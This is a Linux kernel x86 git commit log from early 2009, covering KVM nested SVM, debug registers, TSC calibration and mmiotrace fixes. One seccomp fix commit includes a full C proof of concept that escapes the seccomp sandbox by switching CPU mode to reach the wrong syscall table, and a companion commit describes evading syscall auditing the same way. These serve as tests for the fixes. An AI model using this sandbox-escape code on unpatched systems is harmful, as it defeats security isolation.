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2009-03-24KVM: x86: Virtualize debug registersJan Kiszka
So far KVM only had basic x86 debug register support, once introduced to realize guest debugging that way. The guest itself was not able to use those registers. This patch now adds (almost) full support for guest self-debugging via hardware registers. It refactors the code, moving generic parts out of SVM (VMX was already cleaned up by the KVM_SET_GUEST_DEBUG patches), and it ensures that the registers are properly switched between host and guest. This patch also prepares debug register usage by the host. The latter will (once wired-up by the following patch) allow for hardware breakpoints/watchpoints in guest code. If this is enabled, the guest will only see faked debug registers without functionality, but with content reflecting the guest's modifications. Tested on Intel only, but SVM /should/ work as well, but who knows... Known limitations: Trapping on tss switch won't work - most probably on Intel. Credits also go to Joerg Roedel - I used his once posted debugging series as platform for this patch. Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: VMX: Allow single-stepping when uninterruptibleJan Kiszka
When single-stepping over STI and MOV SS, we must clear the corresponding interruptibility bits in the guest state. Otherwise vmentry fails as it then expects bit 14 (BS) in pending debug exceptions being set, but that's not correct for the guest debugging case. Note that clearing those bits is safe as we check for interruptibility based on the original state and do not inject interrupts or NMIs if guest interruptibility was blocked. Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: New guest debug interfaceJan Kiszka
This rips out the support for KVM_DEBUG_GUEST and introduces a new IOCTL instead: KVM_SET_GUEST_DEBUG. The IOCTL payload consists of a generic part, controlling the "main switch" and the single-step feature. The arch specific part adds an x86 interface for intercepting both types of debug exceptions separately and re-injecting them when the host was not interested. Moveover, the foundation for guest debugging via debug registers is layed. To signal breakpoint events properly back to userland, an arch-specific data block is now returned along KVM_EXIT_DEBUG. For x86, the arch block contains the PC, the debug exception, and relevant debug registers to tell debug events properly apart. The availability of this new interface is signaled by KVM_CAP_SET_GUEST_DEBUG. Empty stubs for not yet supported archs are provided. Note that both SVM and VTX are supported, but only the latter was tested yet. Based on the experience with all those VTX corner case, I would be fairly surprised if SVM will work out of the box. Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: VMX: Support for injecting software exceptionsJan Kiszka
VMX differentiates between processor and software generated exceptions when injecting them into the guest. Extend vmx_queue_exception accordingly (and refactor related constants) so that we can use this service reliably for the new guest debugging framework. Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Only allow setting of EFER_SVME when CPUID SVM is setAlexander Graf
Userspace has to tell the kernel module somehow that nested SVM should be used. The easiest way that doesn't break anything I could think of is to implement if (cpuid & svm) allow write to efer else deny write to efer Old userspaces mask the SVM capability bit, so they don't break. In order to find out that the SVM capability is set, I had to split the kvm_emulate_cpuid into a finding and an emulating part. (introduced in v6) Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Allow setting the SVME bitAlexander Graf
Normally setting the SVME bit in EFER is not allowed, as we did not support SVM. Not since we do, we should also allow enabling SVM mode. v2 comes as last patch, so we don't enable half-ready code v4 introduces a module option to enable SVM v6 warns that nesting is enabled Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Allow read access to MSR_VM_VRJoerg Roedel
KVM tries to read the VM_CR MSR to find out if SVM was disabled by the BIOS. So implement read support for this MSR to make nested SVM running. Signed-off-by: Joerg Roedel <joerg.roedel@amd.com> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Add VMEXIT handler and interceptsAlexander Graf
This adds the #VMEXIT intercept, so we return to the level 1 guest when something happens in the level 2 guest that should return to the level 1 guest. v2 implements HIF handling and cleans up exception interception v3 adds support for V_INTR_MASKING_MASK v4 uses the host page hsave v5 removes IOPM merging code v6 moves mmu code out of the atomic section Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Add VMRUN handlerAlexander Graf
This patch implements VMRUN. VMRUN enters a virtual CPU and runs that in the same context as the normal guest CPU would run. So basically it is implemented the same way, a normal CPU would do it. We also prepare all intercepts that get OR'ed with the original intercepts, as we do not allow a level 2 guest to be intercepted less than the first level guest. v2 implements the following improvements: - fixes the CPL check - does not allocate iopm when not used - remembers the host's IF in the HIF bit in the hflags v3: - make use of the new permission checking - add support for V_INTR_MASKING_MASK v4: - use host page backed hsave v5: - remove IOPM merging code v6: - save cr4 so PAE l1 guests work v7: - return 0 on vmrun so we check the MSRs too - fix MSR check to use the correct variable Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Add VMLOAD and VMSAVE handlersAlexander Graf
This implements the VMLOAD and VMSAVE instructions, that usually surround the VMRUN instructions. Both instructions load / restore the same elements, so we only need to implement them once. v2 fixes CPL checking and replaces memcpy by assignments v3 makes use of the new permission checking Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Implement hsaveAlexander Graf
Implement the hsave MSR, that gives the VCPU a GPA to save the old guest state in. v2 allows userspace to save/restore hsave v4 dummys out the hsave MSR, so we use a host page v6 remembers the guest's hsave and exports the MSR Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Implement GIF, clgi and stgiAlexander Graf
This patch implements the GIF flag and the clgi and stgi instructions that set this flag. Only if the flag is set (default), interrupts can be received by the CPU. To keep the information about that somewhere, this patch adds a new hidden flags vector. that is used to store information that does not go into the vmcb, but is SVM specific. I tried to write some code to make -no-kvm-irqchip work too, but the first level guest won't even boot with that atm, so I ditched it. v2 moves the hflags to x86 generic code v3 makes use of the new permission helper v6 only enables interrupt_window if GIF=1 Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Add helper functions for nested SVMAlexander Graf
These are helpers for the nested SVM implementation. - nsvm_printk implements a debug printk variant - nested_svm_do calls a handler that can accesses gpa-based memory v3 makes use of the new permission checker v6 changes: - streamline nsvm_debug() - remove printk(KERN_ERR) - SVME check before CPL check - give GP error code - use new EFER constant Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Move EFER and MSR constants to generic x86 codeAlexander Graf
MSR_EFER_SVME_MASK, MSR_VM_CR and MSR_VM_HSAVE_PA are set in KVM specific headers. Linux does have nice header files to collect EFER bits and MSR IDs, so IMHO we should put them there. While at it, I also changed the naming scheme to match that of the other defines. (introduced in v6) Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24KVM: SVM: Clean up VINTR settingAlexander Graf
The current VINTR intercept setters don't look clean to me. To make the code easier to read and enable the possibilty to trap on a VINTR set, this uses a helper function to set the VINTR intercept. v2 uses two distinct functions for setting and clearing the bit Acked-by: Joerg Roedel <joro@8bytes.org> Signed-off-by: Alexander Graf <agraf@suse.de> Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-17prevent boosting kprobes on exception addressMasami Hiramatsu
Don't boost at the addresses which are listed on exception tables, because major page fault will occur on those addresses. In that case, kprobes can not ensure that when instruction buffer can be freed since some processes will sleep on the buffer. kprobes-ia64 already has same check. Signed-off-by: Masami Hiramatsu <mhiramat@redhat.com> Cc: Ananth N Mavinakayanahalli <ananth@in.ibm.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-17Fast TSC calibration: calculate proper frequency error boundsLinus Torvalds
In order for ntpd to correctly synchronize the clocks, the frequency of the system clock must not be off by more than 500 ppm (or, put another way, 1:2000), or ntpd will end up giving up on trying to synchronize properly, and ends up reseting the clock in jumps instead. The fast TSC PIT calibration sometimes failed this test - it was assuming that the PIT reads always took about one microsecond each (2us for the two reads to get a 16-bit timer), and that calibrating TSC to the PIT over 15ms should thus be sufficient to get much closer than 500ppm (max 2us error on both sides giving 4us over 15ms: a 270 ppm error value). However, that assumption does not always hold: apparently some hardware is either very much slower at reading the PIT registers, or there was other noise causing at least one machine to get 700+ ppm errors. So instead of using a fixed 15ms timing loop, this changes the fast PIT calibration to read the TSC delta over the individual PIT timer reads, and use the result to calculate the error bars on the PIT read timing properly. We then successfully calibrate the TSC only if the maximum error bars fall below 500ppm. In the process, we also relax the timing to allow up to 25ms for the calibration, although it can happen much faster depending on hardware. Reported-and-tested-by: Jesper Krogh <jesper@krogh.cc> Cc: john stultz <johnstul@us.ibm.com> Cc: Thomas Gleixner <tglx@linutronix.de> Acked-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-17Fix potential fast PIT TSC calibration startup glitchLinus Torvalds
During bootup, when we reprogram the PIT (programmable interval timer) to start counting down from 0xffff in order to use it for the fast TSC calibration, we should also make sure to delay a bit afterwards to allow the PIT hardware to actually start counting with the new value. That will happens at the next CLK pulse (1.193182 MHz), so the easiest way to do that is to just wait at least one microsecond after programming the new PIT counter value. We do that by just reading the counter value back once - which will take about 2us on PC hardware. Reported-and-tested-by: john stultz <johnstul@us.ibm.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-11x86: work around Fedora-11 x86-32 kernel failures on Intel Atom CPUsIngo Molnar
Impact: work around boot crash Work around Intel Atom erratum AAH41 (probabilistically) - it's triggering in the field. Reported-by: Linus Torvalds <torvalds@linux-foundation.org> Tested-by: Kyle McMartin <kyle@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-10Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86 mmiotrace: fix remove_kmmio_fault_pages()
2009-03-09Merge branch 'fixes' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq * 'fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq: [CPUFREQ] Add p4-clockmod sysfs-ui removal to feature-removal schedule. Revert "[CPUFREQ] Disable sysfs ui for p4-clockmod."
2009-03-09Revert "[CPUFREQ] Disable sysfs ui for p4-clockmod."Dave Jones
This reverts commit e088e4c9cdb618675874becb91b2fd581ee707e6. Removing the sysfs interface for p4-clockmod was flagged as a regression in bug 12826. Course of action: - Find out the remaining causes of overheating, and fix them if possible. ACPI should be doing the right thing automatically. If it isn't, we need to fix that. - mark p4-clockmod ui as deprecated - try again with the removal in six months. It's not really feasible to printk about the deprecation, because it needs to happen at all the sysfs entry points, which means adding a lot of strcmp("p4-clockmod".. calls to the core, which.. bleuch. Signed-off-by: Dave Jones <davej@redhat.com>
2009-03-09lguest: fix for CONFIG_SPARSE_IRQ=yRusty Russell
Impact: remove lots of lguest boot WARN_ON() when CONFIG_SPARSE_IRQ=y We now need to call irq_to_desc_alloc_cpu() before set_irq_chip_and_handler_name(), but we can't do that from init_IRQ (no kmalloc available). So do it as we use interrupts instead. Also means we only alloc for irqs we use, which was the intent of CONFIG_SPARSE_IRQ anyway. Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> Cc: Ingo Molnar <mingo@redhat.com>
2009-03-09lguest: fix crash 'unhandled trap 13 at <native_read_msr_safe>'Rusty Russell
Impact: fix lguest boot crash on modern Intel machines The code in early_init_intel does: if (c->x86 > 6 || (c->x86 == 6 && c->x86_model >= 0xd)) { u64 misc_enable; rdmsrl(MSR_IA32_MISC_ENABLE, misc_enable); And that rdmsr faults (not allowed from non-0 PL). We can get around this by mugging the family ID part of the cpuid. 5 seems like a good number. Of course, this is a hack (how very lguest!). We could just indicate that we don't support MSRs, or implement lguest_rdmst. Reported-by: Patrick McHardy <kaber@trash.net> Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> Tested-by: Patrick McHardy <kaber@trash.net>
2009-03-08x86 mmiotrace: fix remove_kmmio_fault_pages()Stuart Bennett
Impact: fix race+crash in mmiotrace The list manipulation in remove_kmmio_fault_pages() was broken. If more than one consecutive kmmio_fault_page was re-added during the grace period between unregister_kmmio_probe() and remove_kmmio_fault_pages(), the list manipulation failed to remove pages from the release list. After a second grace period the pages get into rcu_free_kmmio_fault_pages() and raise a BUG_ON() kernel crash. The list manipulation is fixed to properly remove pages from the release list. This bug has been present from the very beginning of mmiotrace in the mainline kernel. It was introduced in 0fd0e3da ("x86: mmiotrace full patch, preview 1"); An urgent fix for Linus. Tested by Stuart (on 32-bit) and Pekka (on amd and intel 64-bit systems, nouveau and nvidia proprietary). Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> LKML-Reference: <20090308202135.34933feb@daedalus.pq.iki.fi> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-06x86, pebs: correct qualifier passed to ds_write_config() from ds_request_pebs()Markus Metzger
ds_write_config() can write the BTS as well as the PEBS part of the DS config. ds_request_pebs() passes the wrong qualifier, which results in the wrong configuration to be written. Reported-by: Stephane Eranian <eranian@googlemail.com> Signed-off-by: Markus Metzger <markus.t.metzger@intel.com> LKML-Reference: <20090305085721.A22550@sedona.ch.intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-06x86, bts: remove bad warningMarkus Metzger
In case a ptraced task is reaped (while the tracer is still attached), ds_exit_thread() is called before ptrace_exit(). The latter will release the bts_tracer and remove the thread's ds_ctx. The former will WARN() if the context is not NULL. Oleg Nesterov submitted patches that move ptrace_exit() before exit_thread() and thus reverse the order of the above calls. Remove the bad warning. I will add it again when Oleg's changes are in. Signed-off-by: Markus Metzger <markus.t.metzger@intel.com> LKML-Reference: <20090305084954.A22000@sedona.ch.intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04x86: add Dell XPS710 reboot quirkLeann Ogasawara
Dell XPS710 will hang on reboot. This is resolved by adding a quirk to set bios reboot. Signed-off-by: Leann Ogasawara <leann.ogasawara@canonical.com> Signed-off-by: Tim Gardner <tim.gardner@canonical.com> Cc: "manoj.iyer" <manoj.iyer@canonical.com> Cc: <stable@kernel.org> LKML-Reference: <1236196380.3231.89.camel@emiko> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04x86, math-emu: fix init_fpu for task != currentDaniel Glöckner
Impact: fix math-emu related crash while using GDB/ptrace init_fpu() calls finit to initialize a task's xstate, while finit always works on the current task. If we use PTRACE_GETFPREGS on another process and both processes did not already use floating point, we get a null pointer exception in finit. This patch creates a new function finit_task that takes a task_struct parameter. finit becomes a wrapper that simply calls finit_task with current. On the plus side this avoids many calls to get_current which would each resolve to an inline assembler mov instruction. An empty finit_task has been added to i387.h to avoid linker errors in case the compiler still emits the call in init_fpu when CONFIG_MATH_EMULATION is not defined. The declaration of finit in i387.h has been removed as the remaining code using this function gets its prototype from fpu_proto.h. Signed-off-by: Daniel Glöckner <dg@emlix.com> Cc: Suresh Siddha <suresh.b.siddha@intel.com> Cc: "Pallipadi Venkatesh" <venkatesh.pallipadi@intel.com> Cc: Arjan van de Ven <arjan@infradead.org> Cc: Bill Metzenthen <billm@melbpc.org.au> LKML-Reference: <E1Lew31-0004il-Fg@mailer.emlix.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04x86: EFI: Back efi_ioremap with init_memory_mapping instead of FIX_MAPHuang Ying
Impact: Fix boot failure on EFI system with large runtime memory range Brian Maly reported that some EFI system with large runtime memory range can not boot. Because the FIX_MAP used to map runtime memory range is smaller than run time memory range. This patch fixes this issue by re-implement efi_ioremap() with init_memory_mapping(). Reported-and-tested-by: Brian Maly <bmaly@redhat.com> Signed-off-by: Huang Ying <ying.huang@intel.com> Cc: Brian Maly <bmaly@redhat.com> Cc: Yinghai Lu <yinghai@kernel.org> LKML-Reference: <1236135513.6204.306.camel@yhuang-dev.sh.intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04x86: fix DMI on EFIBrian Maly
Impact: reactivate DMI quirks on EFI hardware DMI tables are loaded by EFI, so the dmi calls must happen after efi_init() and not before. Currently Apple hardware uses DMI to determine the framebuffer mappings for efifb. Without DMI working you also have no video on MacBook Pro. This patch resolves the DMI issue for EFI hardware (DMI is now properly detected at boot), and additionally efifb now loads on Apple hardware (i.e. video works). Signed-off-by: Brian Maly <bmaly@redhat> Acked-by: Yinghai Lu <yinghai@kernel.org> Cc: ying.huang@intel.com LKML-Reference: <49ADEDA3.1030406@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu> arch/x86/kernel/setup.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-)
2009-03-03Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86: oprofile: don't set counter width from cpuid on Core2 x86: fix init_memory_mapping() to handle small ranges
2009-03-03Merge branch 'tracing/mmiotrace' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86 mmiotrace: fix race with release_kmmio_fault_page() x86 mmiotrace: improve handling of secondary faults x86 mmiotrace: split set_page_presence() x86 mmiotrace: fix save/restore page table state x86 mmiotrace: WARN_ONCE if dis/arming a page fails x86: add far read test to testmmiotrace x86: count errors in testmmiotrace.ko
2009-03-03x86: oprofile: don't set counter width from cpuid on Core2Tim Blechmann
Impact: fix stuck NMIs and non-working oprofile on certain CPUs Resetting the counter width of the performance counters on Intel's Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode. This should fix bug #12395: http://bugzilla.kernel.org/show_bug.cgi?id=12395 Signed-off-by: Tim Blechmann <tim@klingt.org> Signed-off-by: Robert Richter <robert.richter@amd.com> LKML-Reference: <20090303100412.GC10085@erda.amd.com> Cc: <stable@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03x86: fix init_memory_mapping() to handle small rangesYinghai Lu
Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range... Reported-by: Ying Huang <ying.huang@intel.com> Signed-off-by: Yinghai Lu <yinghai@kernel.org> Cc: Brian Maly <bmaly@redhat.com> LKML-Reference: <49ACDDED.1060508@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: fix warning in io_mapping_map_wc() x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86-64: syscall-audit: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details. Signed-off-by: Roland McGrath <roland@redhat.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86 mmiotrace: fix race with release_kmmio_fault_page()Pekka Paalanen
There was a theoretical possibility to a race between arming a page in post_kmmio_handler() and disarming the page in release_kmmio_fault_page(): cpu0 cpu1 ------------------------------------------------------------------ mmiotrace shutdown enter release_kmmio_fault_page fault on the page disarm the page disarm the page handle the MMIO access re-arm the page put the page on release list remove_kmmio_fault_pages() fault on the page page not known to mmiotrace fall back to do_page_fault() *KABOOM* (This scenario also shows the double disarm case which is allowed.) Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking if the page is being released from mmiotrace. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: improve handling of secondary faultsStuart Bennett
Upgrade some kmmio.c debug messages to warnings. Allow secondary faults on probed pages to fall through, and only log secondary faults that are not due to non-present pages. Patch edited by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: split set_page_presence()Pekka Paalanen
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sat, 28 Feb 2009 21:34:59 +0200 Split set_page_presence() in kmmio.c into two more functions set_pmd_presence() and set_pte_presence(). Purely code reorganization, no functional changes. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: fix save/restore page table statePekka Paalanen
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sun, 22 Feb 2009 20:02:43 +0200 Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the possibility, that the page was not present when it was armed. Make arm_kmmio_fault_page() store the previous page presence in struct kmmio_fault_page and use it on disarm. This patch was originally written by Stuart Bennett, but Pekka Paalanen rewrote it a little different. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86 mmiotrace: WARN_ONCE if dis/arming a page failsStuart Bennett
Print a full warning once, if arming or disarming a page fails. Also, if initial arming fails, do not handle the page further. This avoids the possibility of a page failing to arm and then later claiming to have handled any fault on that page. WARN_ONCE added by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86: add far read test to testmmiotracePekka Paalanen
Apparently pages far into an ioremapped region might not actually be mapped during ioremap(). Add an optional read test to try to trigger a multiply faulting MMIO access. Also add more messages to the kernel log to help debugging. This patch is based on a patch suggested by Stuart Bennett <stuart@freedesktop.org> who discovered bugs in mmiotrace related to normal kernel space faults. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02x86: count errors in testmmiotrace.koPekka Paalanen
Check the read values against the written values in the MMIO read/write test. This test shows if the given MMIO test area really works as memory, which is a prerequisite for a successful mmiotrace test. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-28x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()Ingo Molnar
Impact: build fix Theodore Ts reported that the i915 driver needs these symbols: ERROR: "pgprot_writecombine" [drivers/gpu/drm/i915/i915.ko] undefined! ERROR: "is_io_mapping_possible" [drivers/gpu/drm/i915/i915.ko] undefined! Reported-by: Theodore Ts'o <tytso@mit.edu> wrote: Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26x86: enable DMAR by defaultKyle McMartin
Now that the obvious bugs have been worked out, specifically the iwlagn issue, and the write buffer errata, DMAR should be safe to turn back on by default. (We've had it on since those patches were first written a few weeks ago, without any noticeable bug reports (most have been due to the dma-api debug patchset.)) Signed-off-by: Kyle McMartin <kyle@redhat.com> Acked-by: David Woodhouse <David.Woodhouse@intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25xen: disable interrupts early, as start_kernel expectsJeremy Fitzhardinge
This avoids a lockdep warning from: if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled))) return; in trace_hardirqs_on_caller(); Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com> Cc: Mark McLoughlin <markmc@redhat.com> Cc: Xen-devel <xen-devel@lists.xensource.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25gpu/drm, x86, PAT: io_mapping_create_wc and resource_size_tVenkatesh Pallipadi
io_mapping_create_wc should take a resource_size_t parameter in place of unsigned long. With unsigned long, there will be no way to map greater than 4GB address in i386/32 bit. On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return error for such a case. Patch also adds a structure for io_mapping, that saves the base, size and type on HAVE_ATOMIC_IOMAP archs, that can be used to verify the offset on io_mapping_map calls. Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com> Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com> Cc: Dave Airlie <airlied@redhat.com> Cc: Jesse Barnes <jbarnes@virtuousgeek.org> Cc: Eric Anholt <eric@anholt.net> Cc: Keith Packard <keithp@keithp.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-24x86, Voyager: fix compile by lifting the degeneracy of phys_cpu_present_mapJames Bottomley
This was changed to a physmap_t giving a clashing symbol redefinition, but actually using a physmap_t consumes rather a lot of space on x86, so stick with a private copy renamed with a voyager_ prefix and made static. Nothing outside of the Voyager code uses it, anyway. Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com> Signed-off-by: H. Peter Anvin <hpa@zytor.com>